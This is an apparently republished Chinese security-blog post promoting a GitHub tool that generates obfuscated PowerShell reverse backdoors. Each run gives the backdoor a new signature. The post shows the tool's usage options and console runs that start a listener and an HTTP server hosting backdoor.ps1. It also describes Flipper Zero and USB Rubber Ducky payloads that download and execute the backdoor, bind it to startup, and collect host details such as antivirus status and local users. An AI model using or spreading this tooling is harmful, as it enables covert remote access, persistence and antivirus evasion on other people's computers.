用 Powershell 编写并用 Python 混淆的反向后门。允许后门在每次运行后都有一个新的签名。还可以为 Flipper Zero 和 USB Rubber Ducky 生成自动运行脚本。
usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky][--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]Powershell Backdoor Generatoroptions:-h, --help show this help message and exit--ip-address IP_ADDRESS, -i IP_ADDRESSIP Address to bind the backdoor too (default: 192.168.X.XX)--port PORT, -p PORT Port for the backdoor to connect over (default: 4444)--random, -r Randomizes the outputed backdoor's file name--out OUT, -o OUT Specify the backdoor filename (relative file names)--verbose, -v Show verbose output--delay DELAY Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)--flipper FLIPPER Payload file for flipper zero (includes EOL conversion) (relative file name)--ducky Creates an inject.bin for the http server--server-port SERVER_PORTPort to run the HTTP server on (--server) (default: 8080)--payload PAYLOAD USB Rubber Ducky/Flipper Zero backdoor payload to execute--list--payloads List all available payloads-k KEYBOARD, --keyboard KEYBOARDKeyboard layout for Bad Usb/Flipper Zero (default: us)-A, --actually-listenJust listen for any backdoor connections-H, --listen-and-hostJust listen for any backdoor connections and host the backdoor directory
Flipper Zero有效载荷从远程系统下载文件获取目标计算机的公共IP地址列出本地用户查找感兴趣的文件获取操作系统信息获取BIOS信息获取反病毒状态获取活跃的TCP客户端检查已安装的常见测试软件
将在当前工作目录中创建一个名为 backdoor.ps1 的文件
C:UsersDrewQDesktoppowershell-backdoor-main> python .listen.py --verbose[*] Encoding backdoor script[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop
USB/USB Rubber Ducky 攻击
当使用这些攻击中的任何一种时，您将打开托管后门的 HTTP 服务器。一旦检索到后门，HTTP 服务器将被关闭
-
Execute -- 执行后门
-
BindAndExecute -- 将后门放在 temp 中，将后门绑定到 startup，然后执行它。
USB Rubber Ducky后门
C:UsersDrewQDesktoppowershell-backdoor-main> python .listen.py --ducky --payload BindAndExecute[] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1[] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop
名为 inject.bin 的文件将放置在您当前的工作目录中。此功能需要 Java。当 payload 被执行时，它会下载并执行 backdoor.ps1
5 次混淆/运行的输出
sha1:c7a5fa3e56640ce48dcc3e8d972e444d9cdd2306
sha1:b32dab7b26cdf6b9548baea6f3cfe5b8f326ceda
sha1:e49ab36a7ad6b9fc195b4130164a508432f347db
sha1:ba40fa061a93cf2ac5b6f2480f6aab4979bd211b
sha1:f2e43320403fb11573178915b7e1f258e7c1b3f0https://github.com/Drew-Alleman/powershell-backdoor-generator
原文始发于微信公众号（Khan安全攻防实验室）：Powershell - 后门生成器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论